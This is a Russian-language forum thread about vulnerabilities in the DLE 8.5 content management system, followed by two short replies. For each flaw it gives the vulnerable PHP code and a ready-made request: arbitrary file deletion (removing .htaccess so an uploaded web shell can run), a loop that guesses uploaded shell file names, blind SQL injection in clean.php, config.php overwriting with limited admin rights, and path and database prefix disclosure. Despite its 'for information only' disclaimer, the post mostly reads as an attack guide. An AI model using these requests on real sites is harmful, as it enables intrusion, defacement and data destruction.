Уязвимости DLE 8.5

[Удален]
3407

В данной теме буду сообщать о новых дырах и их использовании в системе DLE.

Информация предоставляется только в ознакомительных целях...половина данного материала - рабочая, половина - уже не используется в новых версиях. Данные баги предоставлены для самостоятельного исправления дыр в системе.:)

Информация берётся из открытых источников.

Версия ДЛЕ: 8.5 (скорее всего, и преыдущие, но тестил именно на 8.5)

Везде далее:

1)

{ВАШ ЮЗЕР ХЕШ}

- уникальный хеш, который вы получаете при входе в дадминку. Как правило, при переходе по страницам админки он передается гетом в урле, там его и берите. Или же заходите на страницу настроек, к примеру, и ищите в коде user_hash - там он и будет

2)лишние куски кода удалены, оставлены только самые важные, играющие роль при уязвимости.

--------------------------------------------------------------------------------

Описание: Удаление произвольных файлов

Зависимость: Нужны админские права

Файл: /engine/inc/files.php

Кусок кода:


if( $action == "doimagedelete" ) {
foreach ( $_POST['images'] as $image ) {
@unlink( $config_path_image_upload . $image );
@unlink( $config_path_image_upload . "thumbs/" . $image );
}
}

Как пользоваться:

Залогинившись админом, послать post запрос:

http://site.com/admin.php?mod=files

images[boxsmall.jpg]=../uploads/files/.htaccess&action=doimagedelete
&
;userdir=&user_hash={ВАШ ЮЗЕР ХЕШ}

Смысл:

1) Можно удалить .htaccess из папки uploads, загрузить туда шелл и видеть его из веба :)

2) Можно помешать работе сайта, удалив важыне файлы.

--------------------------------------------------------------------------------

Описание: раскрытие префикса БД.

Зависимость: Права журналиста или администратора (любой доступ в админку)

Файл: /engine/inc/files.php

Кусок кода:

PHP код:
$serverfile = trim( htmlspecialchars( strip_tags( $_POST['serverfile'] ) ) );
$image_name = $serverfile;
if( $config['files_allow'] == "yes" and $user_group[$member_id['user_group']]['allow_fil e_upload'] and $_REQUEST['action'] == "quick" and (in_array( strtolower( $type ), $allowed_files ) or $serverfile != '') )
$db->query( "INSERT INTO " . PREFIX . "_files (news_id, name, onserver, author, date) values ('$news_id', '$image_name', '{$file_prefix}{$image_name}', '$author', '$added_time')" );

Как осуществить:

Залогинившись админом, послать post запрос:

--------------------------------------------------------------------------------

Описание: Получение названия загруженного файла (шелла, к примеру) через форму заливки

Зависимость: Права админа или журналиста с разрешением аливать файлы чреез админку

Файл: /admin.php?mod=files

Кусок кода:
$file_prefix = time() + rand( 1, 100 );
$file_prefix .= "_";
@copy( $imageurl, ROOT_DIR . "/uploads/files/" . $file_prefix . $image_name )

Ага, пишется: unixtime+{случайное число от 1 до 100}_названиефайлачтомывыгрузили

Отсылаем файл, снифаем, что вернул сервер:

Date: Mon, 14 Jun 2010 07:35:04 GMT

делаем себе

for($i=0; $i<=100; $i++)
{
$name=strtotime("Mon, 14 Jun 2010 07:35:04 GMT")+$i;
echo $name."<br>";
}

Генерируем все возможные нвазвания нашего файла, потом просто перебираем их.

--------------------------------------------------------------------------------

Описание: Blind-sql

Зависимость: magic_quotes_gpc = off и админские права

Файл: /engine/ajax/clean.php


PHP код:
if ($_REQUEST['step'] == 2) {
if ((@strtotime($_REQUEST['date']) === -1) OR (trim($_REQUEST['date']) == ""))
$_REQUEST['step']
; = 1;
else {
$_REQUEST['step']
; = 3;
$sql = $db->query("SELECT id FROM " . PREFIX . "_post WHERE date < '{$_REQUEST['date']}'");
while($row = $db->get_row($sql)){
$db->
;query("DELETE FROM " . PREFIX . "_comments WHERE post_id='{$row['id']}'");

Как осуществить:

http://site.com/engine/ajax/clean.php?date=1'&user_hash={ВАШ ЮЗЕР ХЕШ}&step=2

P.S. Обыная скуля с юнионом не пройдет, так как полученная инфа сразу уходит в DELETE :( Кому надо - тот докрутит ;)

--------------------------------------------------------------------------------

Версии ДЛЕ ДО 8.5

Описание: редактирование настроек системы, имея лишь ограниченный (модерский) доступ в админку

Зависимость: Доступ в админку хотя бы с правами журналиста

Файл: /engine/inc/options.php

PHP код:
elseif( $action == "dosavesyscon" ) {
$save_con = $_POST['save_con'];
$save_con['offline_reason'] = $parse->process( stripslashes( trim( $save_con['offline_reason'] ) ) );
$save_con['offline_reason'] = str_replace( '"', '"', $parse->BB_Parse( $save_con['offline_reason'], false ) );

$find[] = "'\r'"; $replace[] = ""; $find[] = "'\n'"; $replace[] = "";
$handler = fopen( ENGINE_DIR . '/data/config.php', "w" );

fwrite( $handler, "<?PHP \n\n//System Configurations\n\n\$config = array (\n\n" );
foreach ( $save_con as $name => $value ) {
if( $name != "offline_reason" ) {
$value = trim( stripslashes( $value ) );
$value = htmlspecialchars( $value);
$value = preg_replace( $find, $replace, $value );

$name = trim( stripslashes( $name ) );
$name = htmlspecialchars( $name, ENT_QUOTES );
$name = preg_replace( $find, $replace, $name );
}

fwrite( $handler, "'{$name}' => \"{$value}\",\n\n" );

}
fwrite( $handler, ");\n\n?>" );
fclose( $handler );
}

Как осуществить:

Авторизовавшись в админке, делаем POST запрос

http://site.com/admin.php?mod=options&action=syscon
save_con[home_title]=GREAT HACK HOHOHOH&mod=options&action=dosavesyscon&user_hash={ВАШ ЮЗЕР ХЕШ}

причем настроек поменять можно множество вплоть до оотключения сайта ;)

--------------------------------------------------------------------------------

Описание: раскрытие путей

1) Требуется админка

2) Админка не требуется, праа Юзерские

http://site.com/?do=addnews
POST
tags[]=1&mod=addnews
http://site.com/index.php
POST
login=submit&login_password[]=1
S5
На сайте с 18.02.2010
Offline
14
#1

http://www.peeep.us/e78965db Сохранил на всякий пожарный :)

F
На сайте с 16.01.2010
Offline
267
#2

На 8.5 уже не работает, либо не представляет опасности.

Есть исключения, но они распространяются только в некоторых нуллах.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий